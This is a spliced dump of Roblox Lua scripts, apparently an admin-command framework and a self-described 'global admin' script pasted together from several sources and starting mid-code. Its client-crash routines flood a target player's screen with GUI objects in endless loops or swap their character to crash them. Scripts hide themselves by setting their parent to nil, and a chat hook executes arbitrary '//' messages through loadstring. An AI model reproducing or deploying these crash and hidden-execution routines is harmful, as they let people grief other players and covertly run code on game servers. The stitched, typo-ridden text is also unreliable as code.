obj.Name = name end) return obj end, ["gs"] = function(service) local ret = nil if game:GetService(service)~=nil then ret = game:GetService(service) end return ret end, ["master"] = game, ["remove"] = function(obj) ypcall(function() obj:Destroy() end) end, ["clone"] = function(obj,par) local r = nil ypcall(function() r=obj:Clone() r.Parent = par end) return r end, ["clear"] = function(obj) if (obj~=nil) and (type(obj)=="userdata") then local chil = obj:GetChildren() for i=1,#chil do ypcall(function() chil[i]:Destroy() end) end end end, ["getclass"] = function(obj,...) local e = {} if obj~=nil then local b = {} if type(obj)=="userdata" then b = obj:GetChildren() elseif type(obj)=="table" then b = obj end local classes = {...} for i=1,#b do for t=1,#classes do if b[i]:IsA(classes[t]) then table.insert(e,b[i]) end end end end return e end, ["contbl"] = function(...) local tbl = {} local tbls = {...} for i,v in pairs(tbls) do for t=1,#v do table.insert(tbl,v[t]) end end return tbl end, ["getproperty"] = function(obj,prop) local e = {} local b = {} if obj~=nil then if type(obj)=="userdata" then b = obj:GetChildren() elseif type(obj)=="table" then b=obj end for i,v in pairs(b) do local r = nil ypcall(function() r=v[prop] end) if r~=nil then table.insert(e,v) end end end return e end, ["tree"] = function(obj) local tab = {} local b = obj:GetChildren() for i=1,#b do table.insert(tab,b[i]) local rd = Object.tree(b[i]) for t=1,#rd do table.insert(tab,rd[t]) end end return tab end, } Core = { ["Ver"] = 3.63, ["Clear"] = function() local ws = Object.gs("Workspace"):GetChildren() for i=1,#ws do if (ws[i].className~="Terrain") and (ws[i]~=Object.gs("Workspace").CurrentCamera) and (ws[i]~=script) and (Object.gs("Players"):GetPlayerFromCharacter(ws[i])==nil) then Object.remove(ws[i]) end end local pls = Object.getclass(Object.gs("Players"),"Player") if script.className~="LocalScript" then for i=1,#pls do pls[i]:LoadCharacter() end end Object.clear(Object.gs("StarterPack")) Object.clear(Object.gs("StarterGui")) Object.clear(Object.gs("Teams")) Object.clear(Object.gs("Lighting")) Object.clear(Object.gs("ReplicatedFirst")) Object.clear(Object.gs("ReplicatedStorage")) Object.clear(Object.gs("ServerScriptService")) Object.clear(Object.gs("ServerStorage")) local b = Object.new("Part",game.Workspace,"BasePlate") b.FormFactor = "Custom" b.Size = Vector3.new( 512, 0.4, 512) b.Position = Vector3.new ( 0, 0, 0) b.BrickColor = BrickColor.new("Earth green") b.Material = Enum.Material.Grass b.Locked = true b.Anchored = true end, ["SplitString"] = function(str,char) local ms1 = "" local ms2 = "" for i=1,#str do if string.sub((str),i,i)==char then ms1 = string.sub((str),1,(i-1)) ms2 = string.sub((str),(i+1),#str) break end end return ms1,ms2 end, ["window"] = function(par,pos,size,title) local root = nil if par:IsA("Player") then par = Object.new("ScreenGui",Object.getclass(par,"PlayerGui")[1]) root = par elseif (par:IsA("PlayerGui"))or(par:IsA("StarterGui")) then par = Object.new("ScreenGui",par) root = par end local frame = Object.new("Frame",par) if root==nil then root = frame end frame.Size = size frame.Position = pos frame.Active = true frame.Draggable = true frame.BackgroundColor = BrickColor.new("Bright blue") frame.BackgroundTransparency = 0.4 frame.BorderSizePixel = 0 local exit = Object.new("TextButton",frame) exit.Size = UDim2.new(0,40,0,20) exit.Position = UDim2.new( 1, -45, 0, 0) exit.BorderSizePixel = 0 exit.BackgroundColor = BrickColor.new("Bright red") exit.TextColor = BrickColor.new("White") exit.Text = "X" exit.MouseButton1Click:connect(function() Object.remove(root) end) local tl = Object.new("TextLabel",frame) tl.BackgroundTransparency = 1 tl.TextColor = BrickColor.new("White") tl.Size = UDim2.new(1,-45,0,20) tl.Text = title tl.FontSize = "Size18" local elements = Object.new("Frame",frame) elements.Position = UDim2.new(0,2,0,22) elements.BackgroundTransparency = 0 elements.BorderSizePixel = 0 elements.Size = UDim2.new(1,-4,1,-24) elements.BackgroundColor = BrickColor.new("Black") return root,elements end, ["CMessage"] = function(par,title,text) local root,elements = Core.window(par,UDim2.new(0.5,-200,0.5,-75),UDim2.new(0,400,0,150),title) local tl = Object.new("TextLabel",elements) tl.Position = UDim2.new(0,0,0,0) tl.Size = UDim2.new(1,0,0.65,0) tl.BorderSizePixel = 0 tl.TextColor = BrickColor.new("White") tl.Text = text tl.BackgroundTransparency = 1 tl.FontSize = "Size18" tl.TextWrapped = true tl.TextYAlignment = "Top" tl.TextXAlignment = "Left" local ok = Object.new("TextButton",elements) ok.Size = UDim2.new( 0.5, 0, 0.3, 0) ok.Position = UDim2.new( 0.25, 0, 0.65, 0) ok.FontSize = "Size24" ok.BackgroundColor = BrickColor.new("Black") ok.BorderSizePixel = 1 ok.BorderColor = BrickColor.new("Bright blue") ok.TextColor = BrickColor.new("White") ok.Text = "OK" ok.MouseButton1Click:connect(function() Object.remove(root) end) end, ["GetMenu"] = function(par,title,tbl) local csiz = 1 local bsizy = 0.05 local bsizxoffs = 0 if #tbl>=20 then csiz = #tbl/20 bsizy = 1/#tbl bsizxoffs = -12 end local gui,win = Core.window(par,UDim2.new(0.5,-256,0.5,-192),UDim2.new(0,512,0,384),title) win.Parent.Draggable = false local frame = Object.new("ScrollingFrame",win) frame.Size = UDim2.new(1,0,1,0) frame.CanvasSize = UDim2.new(0,0,csiz,0) frame.BorderSizePixel = 0 frame.BackgroundTransparency = 1 for i,v in pairs(tbl) do local tb = Instance.new("TextButton",frame) tb.Size = UDim2.new(1,bsizxoffs,bsizy,0) tb.Position = UDim2.new(0,0,(i-1)*bsizy,0) tb.BackgroundTransparency = 1 tb.BackgroundColor = BrickColor.new("Black") tb.BorderSizePixel = 0 tb.TextColor = BrickColor.new("White") tb.Text = v.Name tb.FontSize = Enum.FontSize.Size11 tb.TextXAlignment = Enum.TextXAlignment.Left if v.Execute~=nil then tb.BackgroundTransparency = 0 tb.MouseButton1Click:connect(function() if par:IsA("Player") then v.Execute(par) else v.Execute() end Object.remove(gui) end) end end end, ["CatalogSearch"] = function(keyword,context,category,subcategory,page) if page==nil then page = 1 end local http = Object.gs("HttpService") local tbl = {} local st = {} ypcall(function() if subcategory~=nil then st = http:JSONDecode(http:GetAsync("http://rproxy.pw/catalog/json?CatalogContext=" .. tostring(context) .. "&Keyword=" .. http:UrlEncode(keyword) .. "&PageNumber=" .. tostring(page) .. "&SortType=0&Subcategory=" .. tostring(subcategory) .. "&SortAggregation=3&pxMin=0&pxMax=0&SortCurrency=0&LegendExpanded=true&Category=" .. tostring(category))) else st = http:JSONDecode(http:GetAsync("http://rproxy.pw/catalog/json?CatalogContext=" .. tostring(context) .. "&Keyword=" .. http:UrlEncode(keyword) .. "&PageNumber=" .. tostring(page) .. "&SortType=0&SortAggregation=3&pxMin=0&pxMax=0&SortCurrency=0&LegendExpanded=true&Category=" .. tostring(category))) end end) for i,v in pairs(st) do local obj = {} obj.Name = v.Name obj.Id = v.AssetId table.insert(tbl,obj) end return tbl end, ["GetList"] = function(par,title,tbl) local men = {} for i=1,#tbl do local obj = {} obj.Name = tbl[i] table.insert(men,obj) end Core.GetMenu(par,title,men) end, ["GMessage"] = function(title,text) local pls = Object.getclass(Object.gs("Players"),"Player") for i=1,#pls do Core.CMessage(pls[i],title,text) end end, ["hint"] = function(plr,text) local sgui = Object.new("ScreenGui",Object.getclass(plr,"PlayerGui")[1],"HintGui") local tl = Object.new("TextLabel",sgui) tl.BackgroundColor = BrickColor.new("Black") tl.BackgroundTransparency = 0.5 tl.BorderSizePixel = 0 tl.Text = text tl.TextColor = BrickColor.new("White") tl.FontSize = Enum.FontSize.Size18 tl.Size = UDim2.new(1,-340,0,35) tl.Position = UDim2.new(0,170,0,-35) coroutine.resume(coroutine.create(function() tl:TweenPosition(UDim2.new(0,170,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,1,false,nil) Object.gs("Debris"):AddItem(tl,6) end)) end, ["ghint"] = function(text) local pls = Object.getclass(Object.gs("Players"),"Player") for i=1,#pls do Core.hint(pls[i],text) end end, ["GetUsernameFromId"] = function(id) local user = nil local httpen = false ypcall(function() user = game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId=" .. tonumber(id))).Username end) if user==nil then user = "Returned nil (You must enable HttpService)" end return user end, ["Crash"]=function(player,text) if text==nil then text = "Byebye noob" end ypcall(function() for i=1,24 do coroutine.resume(coroutine.create(function() while wait() do for i=1,10 do local gui = Instance.new("ScreenGui",player.PlayerGui) local frame = Instance.new("Frame",gui) frame.Size = UDim2.new(1,0,1,0) frame.BackgroundColor = BrickColor.new("Black") end end end)) end end) end, ["ImgMenu"] = function(par,title,tbl) local gui,win = Core.window(par,UDim2.new(0.5,-256,0.5,-192),UDim2.new(0,512,0,384),title) win.BackgroundColor = BrickColor.new("White") win.Parent.Draggable = false local rowsize = 3 local csiz = 1 local bsizy = 0.3 local bsizx = 1/rowsize if #tbl>=(3*rowsize) then csiz = math.ceil(#tbl/(3*rowsize)) bsizy = (rowsize/(#tbl+(rowsize-math.fmod(#tbl,rowsize)))) end local frame = Object.new("ScrollingFrame",win) frame.Size = UDim2.new(1,0,1,0) frame.CanvasSize = UDim2.new(0,0,csiz,0) frame.BorderSizePixel = 0 frame.BackgroundTransparency = 1 local nb = function() local frame1 = Object.new("Frame") frame1.BackgroundColor = BrickColor.new("White") frame1.BorderSizePixel = 0 local tl = Object.new("TextLabel",frame1,"ItemText") tl.Size = UDim2.new(1,0,0.15,0) tl.Position = UDim2.new(0,0,0.85,0) tl.BorderSizePixel = 0 tl.BackgroundTransparency = 1 local imb = Object.new("ImageButton",frame1,"Button") imb.BackgroundTransparency = 1 imb.Size = UDim2.new(1,0,0.85,0) imb.BorderSizePixel = 0 return frame1 end for i,v in pairs(tbl) do local row = math.floor((i-1)/rowsize) local posy = row*bsizy local posx = math.fmod(i-1,rowsize)*bsizx local a = nb() a.Parent = frame a.Size = UDim2.new(bsizx,0,bsizy,0) a.Position = UDim2.new(posx,0,posy,0) if v.Name~=nil then a.ItemText.Text = v.Name end if v.Image~=nil then a.Button.Image = v.Image end a.Button.MouseButton1Click:connect(function() if v.Execute~=nil then if par:IsA("Player") then v.Execute(par) else v.Execute() end end Object.remove(gui) end) end end, ["Catalog"] = function(par) local gui,win = Core.window(par,UDim2.new(0.5,-256,0.5,-192),UDim2.new(0,512,0,384),"Catalog") win.Parent.Draggable = false local RbxGui = assert(LoadLibrary("RbxGui")) local keyword = "" local currpage = 1 local contex = 1 local subcat = nil local cate = 5 local browse = Object.new("Frame",win,"Browser") browse.BackgroundColor = BrickColor.new("White") browse.BorderSizePixel = 0 browse.Size = UDim2.new(1,0,1,0) browse.Visible = true local browser = Object.new("ScrollingFrame",browse,"Browser") browser.Size = UDim2.new(1,0,0.95,0) browser.BorderSizePixel = 0 browser.Position = UDim2.new(0,0,0.05,0) browser.BackgroundTransparency = 1 local view = Object.new("Frame",win,"Viewer") view.BackgroundColor = BrickColor.new("White") view.BorderSizePixel = 0 view.Visible = false view.Size = UDim2.new(1,0,1,0) local nb = function() local frame1 = Object.new("Frame") frame1.BackgroundColor = BrickColor.new("White") frame1.BorderSizePixel = 0 local tl = Object.new("TextLabel",frame1,"ItemText") tl.Size = UDim2.new(1,0,0.15,0) tl.Position = UDim2.new(0,0,0.85,0) tl.BorderSizePixel = 0 tl.BackgroundTransparency = 1 local imb = Object.new("ImageButton",frame1,"Button") imb.BackgroundTransparency = 1 imb.Size = UDim2.new(1,0,0.85,0) imb.BorderSizePixel = 0 return frame1 end local BrowseCat = function(keyword,context,category,subcategory,page) Object.clear(browser) local results = Core.CatalogSearch(keyword,context,category,subcategory,page) local rowsize = 3 local csiz = 1 local bsizy = 0.3 local bsizx = 1/rowsize if #results>=(3*rowsize) then csiz = math.ceil(#results/(3*rowsize)) if math.fmod(#results,rowsize)==0 then bsizy = rowsize/#results else bsizy = (rowsize/(#results+(rowsize-math.fmod(#results,rowsize)))) end end browser.CanvasSize = UDim2.new(0,0,csiz,0) for i,v in pairs(results) do local row = math.floor((i-1)/rowsize) local posy = row*bsizy local posx = math.fmod(i-1,rowsize)*bsizx local a = nb() a.Parent = browser a.Size = UDim2.new(bsizx,0,bsizy,0) a.Position = UDim2.new(posx,0,posy,0) a.ItemText.Text = v.Name a.Button.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&aid=" .. v.Id a.Button.MouseButton1Click:connect(function() if par.Character~=nil then local item = game:GetService("InsertService"):LoadAsset(v.Id):GetChildren()[1] if item~=nil then if item:IsA("Hat") then item.Parent = par.Character elseif item:IsA("Tool") then item.Parent = par.Backpack elseif item:IsA("Shirt") then local a = Object.getclass(par.Character,"Shirt") for i=1,#a do Object.remove(a[i]) end item.Parent = par.Character end end end end) end end local ddl, us = RbxGui.CreateDropDownMenu({"Hats","Gear","Shirts"}, function(item) if item=="Hats" then cate = 3 contex = 1 subcat = 9 currpage = 1 elseif item=="Gear" then cate = 5 contex = 1 currpage = 1 subcat = nil elseif item=="Shirts" then cate = 3 contex = 1 currpage = 1 subcat = 12 end BrowseCat(keyword,contex,cate,subcat,currpage) end) ddl.Size = UDim2.new(0.2,0,1,0) ddl.Parent = browse ddl.Size = UDim2.new(0.2,0,0.05,0) ddl.BackgroundTransparency = 1 local list = ddl.List local numc = list:GetChildren() list.Size = UDim2.new(1,0,#numc*1.5,0) local kwtl = Object.new("TextBox",browse,"Search") kwtl.Size = UDim2.new(0.6,0,0.05,0) kwtl.Position = UDim2.new(0.2,0,0,0) kwtl.BackgroundTransparency = 1 kwtl.TextColor = BrickColor.Black() local enter = Object.new("TextButton",browse,"Enter") enter.Size = UDim2.new(0.2,0,0.05,0) enter.Position = UDim2.new(0.8,0,0,0) enter.Style = "RobloxButton" enter.Text = "Search" enter.TextColor = BrickColor.White() enter.FontSize = Enum.FontSize.Size12 enter.MouseButton1Click:connect(function() keyword = kwtl.Text currpage = 1 BrowseCat(keyword,contex,cate,subcat,currpage) end) for i=1,#numc do local size = 1/#numc numc[i].Size = UDim2.new(1,0,size,0) numc[i].Position = UDim2.new(0,0,(i-1)*size,0) end BrowseCat("",contex,cate,subcat,currpage) end, } function GetData(player) if type(player)=="string" then player = player elseif type(player)=="userdata" then player = player.Name else player = tostring(player) end local ret = nil for i,v in pairs(registered) do if v.Name == player then ret = v end end return ret end sounds = {} function SetRank(player,rank) if type(player)=="string" then player = player elseif type(player)=="userdata" then player = player.Name else player = tostring(player) end rank = tonumber(rank) local data = GetData(player) if (player~=nil)and(rank~=nil) then if data~=nil then data.Rank = rank else data = {} data.Name = player data.Rank = rank table.insert(registered,data) end end end function FilterPlayers(str,speaker) local play = {} local pls = Object.getclass(Object.gs("Players"),"Player") local m1,m2 = Core.SplitString(str,",") if (m1~="") and (m2~="") then str = m1 local pldf = FilterPlayers(m2,speaker) for i=1,#pldf do table.insert(play,pldf[i]) end end if string.lower(str)=="all" then play = pls elseif string.lower(str)=="others" then for i=1,#pls do if pls[i]~=speaker then table.insert(play,pls[i]) end end elseif string.lower(str)=="me" then table.insert(play,speaker) elseif string.lower(str)=="random" then local pld = pls[math.random(1,#pls)] table.insert(play,pld) elseif string.lower(str)=="" then play = {} elseif string.sub((str),1,2) == "e'" then local str1 = string.sub((str),3) for i=1,#pls do if not (string.find(string.lower(pls[i].Name), string.lower(str1))==1) then table.insert(play,pls[i]) end end else for i=1,#pls do if (string.find(string.lower(pls[i].Name), string.lower(str))==1) then table.insert(play,pls[i]) end end end return play end function Chat(msg,speaker) if string.sub((msg),1,3)=="/e " then msg = string.sub((msg),4) end local main_data = GetData(speaker) local rank = main_data.Rank for i,v in pairs(commands) do local msgnum = #v.Name if (rank>=v.Rank)and(string.sub((msg),1,msgnum)==v.Name)and(v.Execute~=nil) then local work,err = ypcall(function() v.Execute(string.sub((msg),msgnum+1),speaker,rank) end) if work==false then Core.hint(speaker,tostring(err)) end end end end function OnEnter(player) local data = GetData(player) if data==nil then SetRank(player,publicrank) data = GetData(player) end local rank = data.Rank if rank==nil then rank = 0 end if data.Rank<=(-1)or(player.AccountAge<=(minimumage-1)) then Core.Crash(player) else player.Chatted:connect(function(msg) Chat(msg,player) end) Core.hint(player,"Your rank is '" .. tostring(rank) .. "' say help for commands") end end Object.gs("Players").PlayerAdded:connect(OnEnter) local a = Object.getclass(Object.gs("Players"),"Player") for i=1,#a do OnEnter(a[i]) end
- local HINT=Instance.new('Hint',Workspace);
- local TIME=Workspace.DistributedGameTime;
- local RUN=Game:service'RunService';
- local FLOOR=math.floor;
- local NEW=Instance.new;
- local MINUTE;
- local HOURS;
- while(true)do
- MINUTE=TIME/60;
- HOURS=MINUTE/60;
- if(pcall(function()HINT.Parent=Workspace;end)==false)then
- HINT=NEW('Hint',Worskpace);
- end;
- HINT.Text=
- 'Days: '..FLOOR(HOURS/24)..' '..
- 'Hours: '..FLOOR(HOURS%24)..' '..
- 'Minutes: '..FLOOR(MINUTE%60)..' '..
- 'Seconds: '..FLOOR(TIME%60);
- TIME=TIME+Wait(1);
- end;
- --((Rare[Main{GLOBAL}Swagmin
- --[[
- Swagmin
- Lol global admin
- ]]
- if script then
- coroutine.yield()
- script.Parent = nil
- end
- --[[Stuff]]--
- VR = _VERSION
- Plrs = game:GetService("Players")
- Work = game:GetService("Workspace")
- Light = game:GetService("Lighting")
- Net = game:GetService("NetworkServer")
- Removed = false
- Bet = "/"
- LS = nil
- LSSource = nil
- OwnSource = nil
- FoundLocalScript = false
- LogOn = false
- Current = game
- Clipboard = {}
- AlertColor = Color3.new(1, 0, 0)
- OptionColor = Color3.new(1, 0, 0)
- ImportantColor = Color3.new(1, 0, 0)
- --[[Ranks]]--
- RankDetails = {
- [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
- [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
- [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
- [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
- [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
- [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
- [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
- [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 2, 0), Desc = "Super Administrator)"},
- [5] = {Name = "Maximum Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Maximum Adminstrator"},
- }
- Rankings = {
- {Name = "Derek1017", Rank = 5},
- {Name = "Derek1017", Rank = 6}
- }
- --[[End of Ranks]]--
- ImportantServices = {
- "Workspace",
- "Players",
- "NetworkServer",
- "Lighting",
- "StarterGui",
- "Teams",
- "StarterPack",
- }
- Ranks = {}
- Commands = {}
- AllTabs = {}
- Injected = {}
- Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
- "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
- "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
- "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
- "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
- "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
- "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
- "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
- "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
- "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
- "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
- "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
- "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
- "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
- "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
- "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
- "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
- "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
- "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
- "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
- "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
- "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
- "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
- "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
- "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
- "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
- "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
- "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
- "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
- "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
- "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
- "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
- "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
- "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
- "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
- "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
- "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
- "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
- "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
- "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
- "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
- "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
- "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
- "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
- "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
- "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
- "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
- "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
- "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
- "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
- "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
- "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
- "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
- "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
- "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
- "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
- "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
- "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
- "X","Y"}
- --Main Functions And Sources
- function Insert(Source, Par, Par2, Par3)
- ypcall(function()
- local Inserted = LS:Clone()
- Inserted.Disabled = true
- Inserted.Parent = Par or Par2 or Par3
- Inserted[LSSource].Value = Source
- Inserted.Disabled = false
- end)
- end
- function CheckImportant(Name)
- for _,v in pairs(ImportantServices) do
- if v:lower() == Name:lower() then
- return true
- end
- end
- return false
- end
- function Crash1(Plr)
- ypcall(function()
- Plr:Kick()
- end)
- end
- function GetRankTab()
- return Rankings
- end
- function Crash2(Name)
- local Crasher = Instance.new("StringValue")
- Crasher.Name = "Client"
- Crasher.Value = string.lower(tostring(Name))
- Crasher.Parent = game:GetService("Lighting")
- wait(1)
- if Crasher and Crasher.Parent then
- ypcall(function()
- Crasher:Destroy()
- end)
- end
- end
- function Crash3(v, Speaker)
- Speaker.Character.Archivable = true
- local NChar = Speaker.Character:Clone()
- NChar.Name = v.Name
- NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
- NChar.Parent = Workspace
- v.Character = NChar
- coroutine.resume(coroutine.create(function()
- repeat v.Character = NChar
- wait(1/3) until false
- end))
- wait(.5)
- Insert(InsertCrash, NChar, nil, nil)
- end
- function GenerateDigit()
- return 1 + 5
- end
- NilS = [==[
- if script then
- coroutine.yield()
- script.Parent = nil
- end
- Player=game.Players.LocalPlayer
- Probe=Instance.new'Part';
- CN='Kaj TabletsNil | ['..Player.Name..']'
- Camera=Workspace.CurrentCamera
- Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
- Char = Player.Character
- if Char then
- Char.Archivable = true
- Char = Char:clone()
- local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
- if t then
- for k,v in pairs(Char:GetChildren()) do
- if not v:IsA("Part") then
- v:clone().Parent = t
- end
- end
- Char = t:clone()
- if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
- local spot = Instance.new("SpotLight",Char.Head)
- spot.Angle = 10
- spot.Range = 10
- spot.Color = Color3.new(1,1,1)
- spot.Brightness = 10
- local point = Instance.new("PointLight",Char.Head)
- point.Range = 10
- point.Color = Color3.new(1,1,1)
- point.Brightness = 10
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- while true do wait(0.00000001)
- pcall(function()
- if Character.Torso.CFrame.Y < 1 then
- Character.Torso.CFrame = CFrame.new(0,20,0)
- end
- end)
- end
- end))
- Title=function(txt,part,color,rise)
- col=nil
- col=Color3.new(BrickColor.new(color))
- local Gui = Instance.new("BillboardGui",part)
- Gui.Name = "3DGUI"
- Gui.ExtentsOffset = Vector3.new(0,2,0)
- Gui.Size = UDim2.new(8,0,2,0)
- local Tit = Instance.new("TextLabel",Gui)
- Tit.Name = "Title"
- Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
- Tit.TextColor3 = Color3.new(0,0,0)
- Tit.TextTransparency = 0.25
- Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
- Tit.TextStrokeTransparency = 0.5
- Tit.Size = UDim2.new(1,0,1,0)
- Tit.BackgroundTransparency = 1
- Tit.Font = "ArialBold"
- Tit.TextScaled = true
- Tit.Text = txt
- if rise then
- if not tonumber(rise) then rise = 1 end
- coroutine.wrap(function()
- while Tit.Parent and Gui.Parent and wait() do
- Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
- end
- end)()
- end
- return Tit
- end
- Chat=function(Part,Text,Color,Type)
- if Type==nil or Type==1 or Type=='Bubble' then
- game:service'Chat':Chat(Part,Text,Color)
- else
- if type(Color)~='string' then
- Color=tostring(BrickColor.random())
- end
- Title(Text,Part,Color,math.random(1,3))
- end
- end
- DestroyCharacter=function()
- local chara = Player.Character
- if not chara then return end
- if chara:findFirstChild("Humanoid") then
- chara.Humanoid:Destroy()
- end
- chara:BreakJoints()
- for k,v in pairs(chara:GetChildren()) do
- if v:IsA("BasePart") then
- v.CanCollide = false
- v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
- v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
- end
- end
- game.Debris:AddItem(chara,3)
- end
- MakeProbe=function()
- if Player.Character then DestroyCharacter() end Player.Character = nil
- if Probe then Probe:Destroy() end
- Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
- Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
- Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
- Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
- coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
- Player.Character=Probe
- end
- Spawn=function()
- if Char then
- local c = Char:clone()
- c.Name = CN
- c.Parent = workspace
- c:MoveTo(workspace.CurrentCamera.Focus.p)
- Player.Character = c
- workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
- workspace.CurrentCamera.CameraType = "Custom"
- Probe:Destroy()
- end
- end
- Player.Chatted:connect(function(Msg)
- game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
- if Msg:sub(1,2) == '//' then
- local Func,Error=loadstring(Msg:sub(3))
- if Error==nil then
- pcall(Func)
- if Player.Character then
- game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
- end
- else
